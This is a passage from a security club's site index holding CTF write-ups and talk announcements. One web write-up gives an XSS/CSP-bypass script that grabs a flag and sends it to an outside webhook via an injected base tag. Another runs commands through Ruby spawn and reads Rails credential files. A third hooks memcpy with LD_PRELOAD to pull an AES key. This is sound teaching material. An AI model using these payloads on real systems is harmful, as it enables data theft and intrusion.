Documentation from ruby and found out that the spawn method was not blacklisted.\nWe have now found a way to execute code on the challenge server. With that knowledge in mind, we can now execute getflag to get the flag on the server.\nWe can make use of spawn and the \u0026gt; operator to redirect the output of getflag to a file.\nSubsequently, we can spawn another process to read the file to see what is the output of getflag.\nCode snippet\n# First payload to write to the file spawn(\u0026#39;/getflag \u0026gt; /tmp/lol\u0026#39;); # Second payload to read the file open(\u0026#39;/tmp/lol\u0026#39;, \u0026amp;:read); Actually running getflag At first, we thought that getflag would just be the completion of the challenge. However, there was a further step we have to solve before getting the flag.\nWhen we first ran getflag, we got the following output:\nPlease provide the secret from `/app/config/credentials.yml.enc` as argv[1] The getflag binary actually require us to get the secret from the credentials.yml.enc file.\nSo we went to read the file with\nopen(\u0026#39;/app/config/credentials.yml.enc\u0026#39;, \u0026amp;:read) Figuring out what is /app/config/credentials.yml.enc As we have no idea how to decrypt credentials.yml.enc, we decided to do a quick google search to figure that out.\nWe stumbled across a github repository which contains a script to decrypt the file. However, in order to decrypt the file, we have to obtain master.key which is the next file we read from the server.\nAfter running the command, we managed to get the secret from the credentials.yml.enc file.\nyay_you_decoded_me_now_go_get_your_flag_boiii Note: For those facing an issue in python3, there are you will have to update the unmasterify function to the one below.\ndef unmasterify(master_key): return bytes.fromhex(master_key) Getting the flag After getting the secret, we can now run getflag again to get the flag.\nFlag: EPFL{https://youtu.be/ya2Sx8xmMpc#Because_why_not...}\n","permalink":"https://nusgreyhats.org/posts/writeups/lakectf-finals-2022-calc-you-later/","summary":"LakeCTF Finals Last weekend was LakeCTF finals. This was my first time participating in a CTF finals overseas and had lots of fun!\nThis is a writeup for the Web: Calc-You-Later challenge which was solved together by Devesh and I from NUS Greyhats.\nThis is an adaptation from the original post here\nChallenge Description Calc-You-Later, alligator. Call /getflag and follow the instructions http://chall.polygl0ts.ch:4600 It also provides a link to the source code of the challenge which is provided here.","title":"[LakeCTF Finals 2022] Calc-You-Later"},{"content":"Talk 1: 1900Hrs - 1945Hrs Title: Introduction to System Defence as discipline\nSpeaker Bio Kalai is an engineering graduate and Masters in Business Administration with 18 years of work experience. She worked as a software developer before transitioning to Cyber Security and is SME for Application Monitoring and Response function in APAC.\nTalk 2: 1945Hrs - 2030Hrs Title: Vulnerability Assessment and Penetration Testing (VAPT) in the Software Development Lifecycle – Why it is important to have VAPT programs\nSpeaker Bio Ayush is a Computer Science graduate and has 12 years of work experience. He has multiple certifications in Cyber Security and is an SME for Malware Analysis function in APAC.\nHarris Ramli is a seasoned penetration tester with 15 years of work experience. He is specialized in web and mobile penetration testing and holds multiple cyber security certifications.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s1/sw0211/","summary":"Talk 1: 1900Hrs - 1945Hrs Title: Introduction to System Defence as discipline\nSpeaker Bio Kalai is an engineering graduate and Masters in Business Administration with 18 years of work experience. She worked as a software developer before transitioning to Cyber Security and is SME for Application Monitoring and Response function in APAC.\nTalk 2: 1945Hrs - 2030Hrs Title: Vulnerability Assessment and Penetration Testing (VAPT) in the Software Development Lifecycle – Why it is important to have VAPT programs","title":"SecWed #021122"},{"content":"Description The workshop will cover:\nSQL Injection (SQLi) Cross-Site Scripting (XSS) Local File Injection (LFI) OS Command Injection (If there is time) There will be 3 main components for each section:\nWhat is the vulnerability At least 1 CTF challenge for you to try out. How to mitigate the vulnerability Requirements before you come for the workshop\nBurp Suite Docker (If you want to host the challenge locally) ","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s1/sw1910/","summary":"Description The workshop will cover:\nSQL Injection (SQLi) Cross-Site Scripting (XSS) Local File Injection (LFI) OS Command Injection (If there is time) There will be 3 main components for each section:\nWhat is the vulnerability At least 1 CTF challenge for you to try out. How to mitigate the vulnerability Requirements before you come for the workshop\nBurp Suite Docker (If you want to host the challenge locally) ","title":"SecWed #191022"},{"content":"This is ported over from my blog. View the original post here\nWeb: People With the new People personal pages, all the members of the EPFL community can have their own page personalize it with Markdown and much more... http://chall.polygl0ts.ch:4000 This challenge involves a profile page that we can edit. There is also an admin who will visit our page when there is a profile that is reported.\nThe first thing that I though of was Cross Site Scripting. Usually, when there is an admin bot involve, chances are the website was vulnerable to cross site scripting.\nHere is the website\nScanning through the main file, I was looking for things that are user controlled inputs. If we take note of how the user inputs are treated. In this case these were the main code that we were looking at.\n... @main.route(\u0026#39;/signup\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) @limiter.limit(\u0026#34;4/minute\u0026#34;) def signup_post(): email = request.form.get(\u0026#39;email\u0026#39;) password = request.form.get(\u0026#39;password\u0026#39;) fullname = request.form.get(\u0026#39;fullname\u0026#39;) title = request.form.get(\u0026#39;title\u0026#39;) lab = request.form.get(\u0026#39;lab\u0026#39;) bio = request.form.get(\u0026#39;bio\u0026#39;) user = User.query.filter_by(email=email).first() if user: flash(\u0026#39;Email address already exists\u0026#39;, \u0026#39;danger\u0026#39;) return redirect(url_for(\u0026#39;main.signup\u0026#39;)) new_user = User(id=secrets.token_hex(16), email=email, password=generate_password_hash(password), fullname=fullname, title=title, lab=lab, bio=bio) db.session.add(new_user) db.session.commit() login_user(new_user) return redirect(url_for(\u0026#39;main.profile\u0026#39;)) ... @main.route(\u0026#39;/edit\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) @login_required def edit_post(): User.query.filter_by(id=current_user.id).update({ \u0026#39;fullname\u0026#39;: request.form.get(\u0026#39;fullname\u0026#39;), \u0026#39;title\u0026#39;: request.form.get(\u0026#39;title\u0026#39;), \u0026#39;lab\u0026#39;: request.form.get(\u0026#39;lab\u0026#39;), \u0026#39;bio\u0026#39;: request.form.get(\u0026#39;bio\u0026#39;) }) db.session.commit() return redirect(url_for(\u0026#39;main.profile\u0026#39;)) ... Looking at the functions above, we can see that they inputs from the users were not sanitized. This means that whatever we sent to might be loaded at some time later on. This seems like a good sign for Reflected XSS.\nAfter inspecting the webpage, we can see that some of our variables are on the page.\nNow that we know that our inputs can be tainted, we need to take a look at where the results of our inputs are loaded. The function mainly consists of the following code.\n... @main.route(\u0026#39;/profile\u0026#39;, defaults={\u0026#39;user_id\u0026#39;: None}) @main.route(\u0026#39;/profile/\u0026lt;user_id\u0026gt;\u0026#39;) def profile(user_id): if user_id: user = User.query.filter_by(id=user_id).first() if not user: abort(404) elif current_user.is_authenticated: user = current_user else: return redirect(url_for(\u0026#39;main.login\u0026#39;)) return render_template(\u0026#39;profile.html\u0026#39;, user=user, own_profile=user == current_user) ... This means that the variables were passed to the profile.html template which is rendered by jinja2.\nIn flask, the variables passed into it are autoescaped unless some instructions were used to unescape it, such as |safe or {% autoescape false %}. For more information you can refer to jinja\u0026rsquo;s documentation.\n\u0026lt;dl class=\u0026#34;definition-list definition-list-grid\u0026#34;\u0026gt; \u0026lt;dt\u0026gt;Contact\u0026lt;/dt\u0026gt; \u0026lt;dd class=\u0026#34;flex\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;mailto:{{ user[\u0026#39;email\u0026#39;] }}\u0026#34; class=\u0026#34;btn btn-sm btn-primary\u0026#34; \u0026gt; {{ user[\u0026#39;email\u0026#39;] }} \u0026lt;/a\u0026gt; \u0026lt;/dd\u0026gt; \u0026lt;/dl\u0026gt; ... \u0026lt;dd class=\u0026#34;flex\u0026#34;\u0026gt; {% if own_profile %} \u0026lt;a href=\u0026#34;{{ url_for(\u0026#39;main.edit\u0026#39;) }}\u0026#34; class=\u0026#34;btn btn-sm btn-secondary\u0026#34;\u0026gt;Edit profile\u0026lt;/a\u0026gt; {% endif %} \u0026lt;form action=\u0026#34;{{ url_for(\u0026#39;main.report\u0026#39;, _external=True, user_id=user[\u0026#39;id\u0026#39;]) }}\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34; class=\u0026#34;btn btn-sm btn-secondary\u0026#34;\u0026gt;Report profile\u0026lt;/a\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/dd\u0026gt; ... \u0026lt;div class=\u0026#34;markdown\u0026#34;\u0026gt;{{ user[\u0026#39;bio\u0026#39;] }}\u0026lt;/div\u0026gt; ... {% set description = \u0026#39;%s at %s\u0026#39; % (user[\u0026#39;title\u0026#39;], user[\u0026#39;lab\u0026#39;]) %} {% block title %}{{user[\u0026#39;fullname\u0026#39;]}} | {{description|safe}}{% endblock %} As we can see from the template, most of the variables are loaded into the template with sanitization except for user['title'] and user['lab']. This means that it was the only place for us to put our XSS payload.\nUsing Burp Suite, I manage to trace down the request to edit the page. By sending it to the repeater, we can edit the request later to edit our profile at will.\nFrom the repeater page, we can see that all of the fields are sent over in plain text. Although title and lab are implemented as dropdowns within the website, we are still able to send other different values through burp.\nTime to send a script tag right?\nI was expecting to place a script there and call it a day, however, the flask file was protected by a Content Security Policy\ncsp = { \u0026#39;script-src\u0026#39;: \u0026#39;\u0026#39;, \u0026#39;object-src\u0026#39;: \u0026#34;\u0026#39;none\u0026#39;\u0026#34;, \u0026#39;style-src\u0026#39;: \u0026#34;\u0026#39;self\u0026#39;\u0026#34;, \u0026#39;default-src\u0026#39;: [\u0026#39;*\u0026#39;, \u0026#39;data:\u0026#39;] } Talisman(app, force_https=False, strict_transport_security=False, session_cookie_secure=False, content_security_policy=csp, content_security_policy_nonce_in=[\u0026#39;script-src\u0026#39;]) This means that any of the scripts that I include must contain a nonce and any other objects I used cannot have an external source.\nHmm, I was stuck. I cannot use \u0026lt;script\u0026gt; or \u0026lt;img onerror='...'\u0026gt; directly anymore. I needed another way to bypass this.\nFrom the help of another CTF fellow player, I learnt that there was something called a base injection. A \u0026lt;base\u0026gt; tag can be injected into the website which makes it default all its import links to use that url as a base.\nIf I inject that into the title field, any subsequent script tags will import from that base instead.\nTime to put that into action.\nI uploaded by script to github here and setup github pages to give me an ip address to use as a base. I also created a folder structure that corresponds to the path that the website is importing from.\nfunction httpGet(theUrl) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open(\u0026#34;GET\u0026#34;, theUrl, false); // false for synchronous request xmlHttp.send(null); return xmlHttp.responseText; } let payload1 = \u0026#34;/\u0026#34;; try { const resp456416512364p = httpGet(\u0026#34;http://web:8080/flag\u0026#34;); payload1 = \u0026#34;https://webhook.site/5e88af09-1ab7-408f-bf46-65e63746ee3e/?c=\u0026#34; + resp456416512364p; } catch { console.log(\u0026#34;Error\u0026#34;); } const DOMPurify = { sanitize: () =\u0026gt; { document.location.href = payload1; }, }; document.location.href = payload1; In the script, I make a GET request to the location of the flag. If I am able to get the flag, I will send it to my webhook. If not, I will just redirect to the home page.\nThe url for the website is derived based on the admin bot script\nasync def visit(user_id, admin_token): url = f\u0026#39;http://web:8080/profile/{user_id}\u0026#39; ... await page.setCookie({\u0026#39;name\u0026#39;: \u0026#39;admin_token\u0026#39;, \u0026#39;value\u0026#39;: admin_token, \u0026#39;url\u0026#39;: \u0026#39;http://web:8080\u0026#39;, \u0026#39;httpOnly\u0026#39;: True, \u0026#39;sameSite\u0026#39;: \u0026#39;Strict\u0026#39;}) ... TLDR: This admin script asks the bot to visit web:8080 and set the cookie admin_token to the value of admin_token. This means that the bot will visit web:8080/profile/{user_id} with the admin cookie set.\n--- web: container_name: web build: context: . dockerfile: Dockerfile.web environment: - FLAG=EPFL{REDACTED} depends_on: - redis ports: - \u0026#34;8080:8080\u0026#34; In docker, we can reference the hostname of a container by using their container name. The admin bot visits web:8080 as that is the configuration set in the docker-compose.yml file as shown above. So in this case, my script prompts a get request to web:8080/flag instead of the full url.\nAfter that the request is attached as a query parameter to the base url of my webhook site and the page was subsequently redirected to it.\nThe github pages is available at payload.jh123x.com. It was time to inject my base and see the result on webhook.site.\nThe payload that I used for the base injection is shown below and the github link upload is hosted at that url. This payload was only injected into the lab field.\nThis payload will work if you inject it into either of the fields as both of them are combined together to form the description in the title tag.\n\u0026lt;/title\u0026gt;\u0026lt;base href=\u0026#34;http://payload.jh123x.com/\u0026#34; /\u0026gt; The \u0026lt;/title\u0026gt; closes the title tag and the \u0026lt;base\u0026gt; tag is the payload. The href attribute is the base url that the website will use to import from.\nAfter tinkering around for a few hours, I manage to get the redirect and the flag was mine.\nThe flag is attached to the url as a query parameter\nFlag: EPFL{Th1s_C5P_byp4ss_1s_b4sed}\nIf you want to try the challenge, you can find it here.\nNote Not sure why but it took a few tries to get the flag to show up.\n","permalink":"https://nusgreyhats.org/posts/writeups/lakectf-quals-2022-people/","summary":"This is ported over from my blog. View the original post here\nWeb: People With the new People personal pages, all the members of the EPFL community can have their own page personalize it with Markdown and much more... http://chall.polygl0ts.ch:4000 This challenge involves a profile page that we can edit. There is also an admin who will visit our page when there is a profile that is reported.\nThe first thing that I though of was Cross Site Scripting.","title":"[LakeCTF Quals 2022] People"},{"content":"Ported from my own blog https://rootkiddie.com/blog/post/ctf/tamu2022/obsessive-checking/writeup/\nIntroduction This is a relatively challenging reverse engineering problem. Thankfully, the hint provided is very helpful. The link to the writeup for the challenge eBook DRM is https://ubcctf.github.io/2022/03/utctf-ebook-drm/. Strongly recommend a read as it is a very well written write up.\nInitial Analysis Unzipping the challenge file, I was given 2 files. obsessive-checking and flag_book.txt.bin. Based the write-up above, I figured that this challenge also requires some way to proxy library functions to extract the key from obsessive-checking to decrypt the flag book file. However, unlike the UBCTF challenge, this challenge is written in RUST which added much more complexity to the analysis since it adds its own runtime and library to your code. Given that Rust is only starting to gain popularity in recent years, there\u0026rsquo;s little information on Rust reverse engineering online. Therefore, I need to do a little exploration on my own.\nFinding the main method The decompilation of the binary reveals a massive main function. However, I quickly realised that this is simply the setting up of the Rust runtime or sorts. The real main function can be found by ctrl-f and search for the keyword main. From this point on, main will refer to this obsessive_checking::main method instead of the ELF entry main method.\nUnderstanding the real main method The decompilation of the main method shows 2492 lines in Ghidra. That\u0026rsquo;s a massive function to analyse. Searching for strings did not result in any useful results either since the non-debugging output is only printed after decrypting the flag file. Therefore, I decided to use a little dynamic analysis to figure out where the main logic is. The trick I used here is to set breakpoints on printing functions and use backtraces to figure out where does the printing start. So, setting breakpoint on core::fmt::write and run it in gdb, I found where the user logic is ran. Looking at the decompilation in Ghidra, we have From the stack-trace, we can see that the printing is done through the future poll. Based on my knowledge about Future from Java, it is an asynchronous composable structure that encloses program instructions. They are easy to read in code but a nightmare to reverse engineer as it\u0026rsquo;s basically like a statically linked ELF with stripped symbols. But at this point, I already have a general idea on how this program work. Basically, the entire read file, delay, decrypt, print process is composed in Future and ran asynchronously. Now, we just need to figure out how to find the decryption key and the decryption algorithm.\nFiguring out the decryption So out of the 4 steps (read, delay, decrypt, print), the only step that I am interested in is how the decryption is done. However, unlike the UBCTF where the binary is clearly using an openssl decryption function, this challenge does not seem to import any crypto libraries. That means, I need to figure out how the decryption structures are set up and hopefully extract the key from the structure initializations.\nThe Proxy During analysis of main function, I also realised that rust library uses memcpy to move datastructures around. Using the hint from UBCTF, I decided to proxy the memcpy function.\n#include \u0026lt;string.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; void *memcpy(void *dst, const void *src, size_t n) { printf(\u0026#34;dst %p src %p size: %ld\\n\u0026#34;, dst, src, n); void *handle = dlopen(\u0026#34;/usr/lib/x86_64-linux-gnu/libc-2.31.so\u0026#34;, RTLD_NOW); void *(*orig_func)() = dlsym(handle, \u0026#34;memcpy\u0026#34;); return orig_func(dst, src, n); } Compiling with gcc -fPIC -shared OCDMeds.c -o OCDMeds.so and running the binary with LD_PRELOAD=./OCDMeds.so ./obsessive-checking flag_book.txt.bin I have the following output.\n... dst 0x7ffde6600d40 src 0x7ffde6600f20 size: 216 dst 0x7ffde6600880 src 0x7ffde6600d40 size: 216 dst 0x5598df52cb20 src 0x7ffde6600840 size: 296 dst 0x7ffde6601b01 src 0x5598df523d30 size: 16 dst 0x7ffde6601b01 src 0x5598df523d40 size: 16 dst 0x7ffde6601b01 src 0x5598df523d50 size: 16 dst 0x7ffde6601b01 src 0x5598df523d60 size: 16 dst 0x7ffde6601b01 src 0x5598df523d70 size: 16 dst 0x7ffde6601b01 src 0x5598df523d80 size: 16 dst 0x5598df52cce0 src 0x5598df52cc50 size: 80 dst 0x5598df52cd30 src 0x5598de995e4e size: 1 why yes, this is a string of output; unfortunately, it won\u0026#39;t do you much good... dst 0x5598df52cce0 src 0x5598de995e4f size: 0 dst 0x7ffde6601b01 src 0x5598df523d90 size: 16 dst 0x7ffde6601b01 src 0x5598df523da0 size: 16 dst 0x7ffde6601b01 src 0x5598df523db0 size: 16 dst 0x7ffde6601b01 src 0x5598df523dc0 size: 16 dst 0x7ffde6601b01 src 0x5598df523dd0 size: 16 dst 0x5598df52cce0 src 0x5598df52cc50 size: 80 dst 0x5598df52cd30 src 0x5598de995e4e size: 1 why yes, this is a string of output; unfortunately, it won\u0026#39;t do you much good... dst 0x5598df52cce0 src 0x5598de995e4f size: 0 dst 0x7ffde6601b01 src 0x5598df523de0 size: 16 dst 0x7ffde6601b01 src 0x5598df523df0 size: 16 dst 0x7ffde6601b01 src 0x5598df523e00 size: 16 dst 0x7ffde6601b01 src 0x5598df523e10 size: 16 dst 0x7ffde6601b01 src 0x5598df523e20 size: 16 ... Seeing the nice whole number 16, and the output string why yes, this is a string of output; unfortunately, it won't do you much good... is exactly 80 characters long, I knew that this is almost certainly a block cipher. The program is copying 5 blocks of cipher text from our flag file, decrypt them and print them to console before a delay is introduced. I also noted that the first 80-bytes block has an additional 16 bytes memcpy-ed which I assumed is the IV. 16 bytes IV? It seems like we are dealing with AES just like UBCTF. However, we can\u0026rsquo;t be certain about that yet.\nThe Better Proxy To get more information from the proxy, I decided to make it better.\n#include \u0026lt;string.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;dlfcn.h\u0026gt; /* Paste this on the file you want to debug. */ #include \u0026lt;execinfo.h\u0026gt; void print_trace(void) { char **strings; size_t i, size; enum Constexpr { MAX_SIZE = 1024 }; void *array[MAX_SIZE]; size = backtrace(array, MAX_SIZE); strings = backtrace_symbols(array, size); for (i = 0; i \u0026lt; size; i++) printf(\u0026#34;%s\\n\u0026#34;, strings[i]); puts(\u0026#34;\u0026#34;); free(strings); } void *memcpy(void *dst, const void *src, size_t n) { printf(\u0026#34;dst %p src %p size: %ld\\n\u0026#34;, dst, src, n); if (n == 16 || n==24 || n==32) { const char *buf = (const char*)src; for (int i=0; i\u0026lt;n ; i++) { printf(\u0026#34;%02hhx\u0026#34;, buf[i]); } puts(\u0026#34;\u0026#34;); for (int i=0; i\u0026lt;n; i++) { printf(\u0026#34;%c\u0026#34;, buf[i]); } puts(\u0026#34;\u0026#34;); print_trace(); } void *handle = dlopen(\u0026#34;/usr/lib/x86_64-linux-gnu/libc-2.31.so\u0026#34;, RTLD_NOW); void *(*orig_func)() = dlsym(handle, \u0026#34;memcpy\u0026#34;); return orig_func(dst, src, n); } And the output\n... dst 0x55b3ad7a4470 src 0x7ffd70dff2a8 size: 136 dst 0x55b3ad7a80a0 src 0x55b3ad7aa0b0 size: 8192 dst 0x7ffd70e00821 src 0x55b3ad7a80a0 size: 16 509570e72f82ecb73d231a80abe75f57 Pp/=#\u001a_W ./OCDMeds.so(print_trace+0x47) [0x7f913d2d9280] ./OCDMeds.so(memcpy+0xe6) [0x7f913d2d940b] ./obsessive-checking(+0x17db8) [0x55b3abd4cdb8] ./obsessive-checking(+0x1912c) [0x55b3abd4e12c] ./obsessive-checking(+0x1f1fb) [0x55b3abd541fb] ./obsessive-checking(+0xf043) [0x55b3abd44043] ./obsessive-checking(+0x21bc7) [0x55b3abd56bc7] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) [0x7f913cf630b3] ./obsessive-checking(+0xee8e) [0x55b3abd43e8e] dst 0x7ffd70dff570 src 0x7ffd70e00638 size: 344 dst 0x7ffd70dffa70 src 0x7ffd70dffc50 size: 240 dst 0x7ffd70dff570 src 0x7ffd70dffa70 size: 480 dst 0x7ffd70e00070 src 0x7ffd70dff570 size: 960 ... dst 0x55b3ad7b1150 src 0x7ffd70dff570 size: 296 dst 0x7ffd70e00831 src 0x55b3ad7a80b0 size: 16 d8f602f6a56578b0eaa36d391b91cdc7 \u0002exm9 CDMeds.so(print_trace+0x47) [0x7f913d2d9280] ./OCDMeds.so(memcpy+0xe6) [0x7f913d2d940b] ./obsessive-checking(+0x17db8) [0x55b3abd4cdb8] ./obsessive-checking(+0x1b532) [0x55b3abd50532] ./obsessive-checking(+0x1f1fb) [0x55b3abd541fb] ./obsessive-checking(+0xf043) [0x55b3abd44043] ./obsessive-checking(+0x21bc7) [0x55b3abd56bc7] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) [0x7f913cf630b3] ./obsessive-checking(+0xee8e) [0x55b3abd43e8e] dst 0x7ffd70e00831 src 0x55b3ad7a80c0 size: 16 9e5d10ead375601989296a81c9fd55f2 ]\u0010u`\u0019)jU ./OCDMeds.so(print_trace+0x47) [0x7f913d2d9280] ./OCDMeds.so(memcpy+0xe6) [0x7f913d2d940b] ./obsessive-checking(+0x17db8) [0x55b3abd4cdb8] ./obsessive-checking(+0x1b532) [0x55b3abd50532] ./obsessive-checking(+0x1f1fb) [0x55b3abd541fb] ./obsessive-checking(+0xf043) [0x55b3abd44043] ./obsessive-checking(+0x21bc7) [0x55b3abd56bc7] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) [0x7f913cf630b3] ./obsessive-checking(+0xee8e) [0x55b3abd43e8e] Analysing the proxy output From the better proxy, I found out that the obsessive-checking(+0x17db8) is in the read file function since both the IV and cipher blocks invoke this function. For initialization, it is most likely done in obsessive-checking(+0x1912c) and decryption in obsessive-checking(+0x1b532). Using either Ghidra / GDB (stepping after the read function), we can find out that the decryption algorithm used is AES-256. That means we need to look for a 32 bytes key. Checking the proxy log, we did not memcpy and 32 bytes structure. My guess is that the key is deterministically generated from a structure of different size and not easily extracted through memcpy proxy.\nFinding the Decryption Key After realising that we are dealing with AES, I decided to take a look at which function I can set the breakpoint to extract the key. So I went to checkout the RUST AES implementation in https://github.com/RustCrypto/. After 20-30 minutes of reading the source code, I realised that KeyInit might be a good function to break at to extract the key since the argument is the Key itself which is represented in primitive Array. However, the function names are mangled and GDB does not automatically find where KeyInit method is. Using Ghidra analysing the function in obsessive-checking(+0x1912c), I found the address for keyinit invocation to be 0x55555556da95. Setting breakpoint in GDB, I extracted the key as shown below. Decrypting the file Now that we have the key and the algorithm, we can simply write a python script to decrypt the flag file and grep for the flag.\nfrom Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes from pwn import * def dec(key, iv, ct): cipher = AES.new(key, AES.MODE_CBC, iv) pt = cipher.decrypt(ct) return pt key = p64(0xb10377e39a316bef)+p64(0x9e6b76de949612ec)+p64(0x5696f29e48ec594f)+p64(0xc6b3ed3f8c157327) f = open(\u0026#34;flag_book.txt.bin\u0026#34;, \u0026#34;rb\u0026#34;) ct = f.read() f.close() with open(\u0026#34;decryted.txt\u0026#34;, \u0026#34;wb\u0026#34;) as w: w.write(dec(key, ct[:16], ct)) FLAG: gigem{round_and_round_and_round_it_goes_when_it_stops_checking_nobody_knows}\n","permalink":"https://nusgreyhats.org/posts/writeups/tamuctf-2022-obsessive-checking/","summary":"Ported from my own blog https://rootkiddie.com/blog/post/ctf/tamu2022/obsessive-checking/writeup/\nIntroduction This is a relatively challenging reverse engineering problem. Thankfully, the hint provided is very helpful. The link to the writeup for the challenge eBook DRM is https://ubcctf.github.io/2022/03/utctf-ebook-drm/. Strongly recommend a read as it is a very well written write up.\nInitial Analysis Unzipping the challenge file, I was given 2 files. obsessive-checking and flag_book.txt.bin. Based the write-up above, I figured that this challenge also requires some way to proxy library functions to extract the key from obsessive-checking to decrypt the flag book file.","title":"[TamuCTF 2022] Obsessive Checking"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZUpcuirrDsuG9DISlW-hwaCL2-bhpr9--A5\nSlides and materials can be found here.\nTalk 1: 1900Hrs - 1945Hrs Title: A Quick Introduction to Manual Source Code Review\nDescription If you are new to web security, or wish to look at open source codebases for 0-days but is unsure of how to, feel free to attend and gain some insights to get started on your own. This sharing is about my experience and bugs discovery while looking at Chamilo LMS.\nSpeaker Bio Jia Hao is a Greyhats alumnus and currently a security researcher at STAR Labs.\nTalk 2: 1945Hrs - 2030Hrs Title: A case study of an incorrect bitwise and optimization in V8\nDescription This presentation is an introduction to developing a proof-of-concept for a Chrome V8 Turbofan vulnerability. In this session, we will take a look at an example, starting with what the bug is, and how the author of an incorrect optimization bug might have developed the POC leading to an out-of-bounds access. Details of exploitation will not be covered but an overview will be given.\nSpeaker Bio Lucas is a security researcher in STAR Labs, whose work is mainly focused on n-day analyses.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw0604/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZUpcuirrDsuG9DISlW-hwaCL2-bhpr9--A5\nSlides and materials can be found here.\nTalk 1: 1900Hrs - 1945Hrs Title: A Quick Introduction to Manual Source Code Review\nDescription If you are new to web security, or wish to look at open source codebases for 0-days but is unsure of how to, feel free to attend and gain some insights to get started on your own. This sharing is about my experience and bugs discovery while looking at Chamilo LMS.","title":"SecWed #060422"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZ0udeCgqDsoGN2Cm1ujlyxZfFrqYhrramAQ\nSecWed Mini-CTF We\u0026rsquo;ve prepared a few challenges to demonstrate some vulnerable code patterns. Join us to try them out!\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw2303/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZ0udeCgqDsoGN2Cm1ujlyxZfFrqYhrramAQ\nSecWed Mini-CTF We\u0026rsquo;ve prepared a few challenges to demonstrate some vulnerable code patterns. Join us to try them out!","title":"SecWed #230322"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZMldeupqD0jHNxJAMT96CIwT1fP84Q-xjGo\nTalk 1: 1900Hrs - 1945Hrs Talk Title: How to build an automated Incident Response and Forensics Readiness Framework on AWS\nThis talk aims to provide insights into how you can build and automate incident response and forensics on AWS. This talk aims to show some of the problems our customers were facing and how we helped solve them. This use-case was developed for a customer operating a large set of accounts.\nTheir problems were:\nIncident Response and Forensics was a manual process prone to mistakes Time-consuming process with many steps Hard to perform by non-trained personnel To address this we created the Automated Incident Response and Forensics framework. The framework aims to facilitate automated steps for incident response and forensics based on the AWS Incident Response White Paper. The goal is to provide a set of processes.\nSpeaker Lucas Kauffman is a security consultant within the AWS Proserve security team in ASEAN, he focuses on DevSecOps and security automation.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: (Worst) day in the life of a security engineer?\nFor many, log4shell was the worst security incident to have happened since the internet-age. Come hear it from someone involved first hand and learn some interesting facts and takeaway from the incident.\nSpeaker Yeo Quan Yang is a Security Engineer at Snapchat. He is a NUS alumnus and cofounded NUS Greyhats in 2013. He is mildly interested in security and CTFs and have no certifications.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw0903/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZMldeupqD0jHNxJAMT96CIwT1fP84Q-xjGo\nTalk 1: 1900Hrs - 1945Hrs Talk Title: How to build an automated Incident Response and Forensics Readiness Framework on AWS\nThis talk aims to provide insights into how you can build and automate incident response and forensics on AWS. This talk aims to show some of the problems our customers were facing and how we helped solve them. This use-case was developed for a customer operating a large set of accounts.","title":"SecWed #090322"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAqf-qgpzsqE9QRODBP6oPRA0PzkPAaTFFz\nTalk: 7:00pm-7:45pm Title: Breach and Attack Simulation (Security Validation)\nDescription How sure are we if our cyber security investments is improving the actual security effectiveness? Find out how Breach and Attack Simulation (Security Validation) continuously validate and measures the effectiveness of cybersecurity controls.\nSpeaker Bio Ragavan is a Cyber Security Presales Engineer since 2014. He focuses on cyber solutioning in government space and recently joined Mandiant. Ragavan has involved in different stages of IT/Cyber Security lifecycle throughout his past experience, from developing application, IT administration, operating cyber tools, proposing designing and deploying cyber solutions. He is CISSP, CISM, CCSK, CEH and Security+ certified.\nTalk: 7:45pm-8:30pm Title: Some Hows and Whys of CTFs\nDescription What does the upcoming diceCTF have in store for us? Weiu Cheng will be going through one of the interesting challenges encountered during diceCTF.\nSpeaker Bio Weiu Cheng is a Year 2 CS boy who likes to go lower and lower level in computers. He hangs out around the binary level doing reverse engineering and pwning. Maybe one day, he\u0026rsquo;ll go so low he touches the hardware.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw0902/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAqf-qgpzsqE9QRODBP6oPRA0PzkPAaTFFz\nTalk: 7:00pm-7:45pm Title: Breach and Attack Simulation (Security Validation)\nDescription How sure are we if our cyber security investments is improving the actual security effectiveness? Find out how Breach and Attack Simulation (Security Validation) continuously validate and measures the effectiveness of cybersecurity controls.\nSpeaker Bio Ragavan is a Cyber Security Presales Engineer since 2014. He focuses on cyber solutioning in government space and recently joined Mandiant. Ragavan has involved in different stages of IT/Cyber Security lifecycle throughout his past experience, from developing application, IT administration, operating cyber tools, proposing designing and deploying cyber solutions.","title":"SecWed #090222"},{"content":"Overview This writeup will cover some of the basic techniques and methodologies that one could use to reverse and solve android apk challenges. We will also walk-through some basic ctf challenges from picoGym.\nWriteup table of content Tools and programming requirements What is APK? Developer vs reverse engineer CTF walk-through Conclusion References Tools and programming requirements Recommended tools to follow through this writeup:\nAndroid Studio decompiler.com Android Debug Bridge vscode \u0026amp; vscode plugin \u0026ndash; APKLab dex2jar jd-gui-windows Some understanding basic understanding of Java.\nWhat is APK? APK is the the Android application package file formatted used by the Android operating system, mainly 